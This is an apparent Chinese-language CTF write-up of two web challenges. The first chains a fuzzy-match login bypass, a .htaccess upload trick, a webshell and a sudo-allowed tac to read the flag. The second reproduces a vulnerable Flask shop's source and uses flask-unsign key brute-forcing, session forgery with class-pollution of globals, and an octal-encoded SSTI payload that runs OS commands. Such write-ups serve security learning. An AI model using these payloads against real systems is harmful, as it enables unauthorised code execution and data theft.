这里没有环境了比赛的时候只做出来了第一个第二个没有审计,还是太菜了

SQLUP

这道题也是看了很长时间,题目说的是sqlup我以为是sql注入,看到了下面的提示说是模糊匹配

我以为是要用like这个关键字来注入,而且我还测试了sql注入语句,这里还有过滤,我就更见坚信了我的想法,但是后来仔细看了说是这个网站的sql查询是用的模糊匹配,那么我们不用完整的账号密码不也能匹配到。

这里我用了ad和1进行尝试没想到成功了

我们进去之后,看一下功能点,这里有一个头像更换的功能,我试了一下文件上传,这里的话是不能上传后缀带p的,我先是上传了一张图片给我过滤了,但是好像没有限制文件的内容,这里我就想到了,先上传一个.htaccess文件,这里我们可以规定什么文件可以解析成php代码

AddType application/x-httpd-php .jpg .txt .png

这里我们就是将这个三个后缀的解析成php文件,最后我先是上传一个1.txt文件,里面的内容是

<?php phpinfo();?>

看一下是否能成功,果然成功解析了

那不就离胜利不远了

我直接system(cat f*"); 但是页面没有反应,我以为是我打错字了,后来上了一个小马,蚁剑连接之后才发现,我们没有权限读取

后面的卡了我很长时间,既然没有权限我们就要想到提权先是看一下有没有sudo提权

有一个tac命令可以用sudo权限,但是sudo使用需要密码,后面就没有思路了

但是tac原本就是一个读取文件命令,这里我们可以直接用有root权限的tac命令读取flag,这次知道了

直接tac /flag

candy shop

先把源码给了

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')
    
class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))
    
    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))
    
    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))
    
    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

这道题只是开了环境看了一下,也没有注意到有附件,比赛结束才知道有附件,下载之后看了有几个关键的代码

这个很明显的会有原型链污染的洞

我们接着看下去,下面有一个这个secret.txt,这个我们查看的前提条件就是我们sold大于500

这里我们可以污染这个全局变量,让这个sold的值为500以上

这里的话,这里的admin路由调用了这个这个merge函数,这里我们可以在这个路由进行污染全局变量sold,然后访问home路由就可以打开这个secret.txt文件了

首先这个session伪造,我们要知道key是多少,这里我们选择这个工具flask-unsign,进行爆破key

这里我们成功爆出来了key,接下来我们进行伪造session,这里我们要伪造两个东西,一个是admin身份,一个是全局变量sold值

flask-unsign --sign --cookie "{'csrf_token': '94c60c3656b0b0e1f9875b5007a36bdb8c99a4c2', 'identity':'admin', 'username': 'admin','__init__':{'__globals__':{'sold':600}}}" --secret 'a123456'

这里生成了伪造的jwt

.eJw9jEEKwyAQRe-SzWy6mDbRRM9SkBk1RWoUolmU4N0bSMjufR7_dTvYss6m5q9PoN8bIiGowUq0vRSSkdE_ZzWNggXiSL1kx5NVigb7gsd1CM6nGuoPNJBbQrrFVvyaaPF3-tJgTEihGgN6P_gTM1Ms5yw5OtASsbXW_QGHhjJ2.ZuBS4g.blAkvfTqxC2cBd4sdSdBV0QonEk

我们输入访问admin目录之后,再次访问home目录,这里我们就发现的secret.txt

这里给了我们flag的目录

我们接着往下看,在/admin/view_inventory这么目录下面的这个函数存在模板注入

这里是render_template_string存在ssti模板注入,这里我们选择这个inventory这个参数进行污染

但是这个参数有waf,我们看一下

这里是限制了字母,这里我们可以用八进制绕过

  {{''.__class__().__bases__[0]['__subclasses__'][133]['__init__']
  ['__globals__']['__builtins__']['eval']
  ('__import__("os").popen("env").read()')}}
flask-unsign --sign --cookie "{'identity': 'admin', 'username': 'admin','__init__':{'__global
s__':{'sold':857,'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\167\\150\\157\\141\\155\\151\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}" --secret 'a123456'

我们遍历目录找到flag的位置然后读取就可以了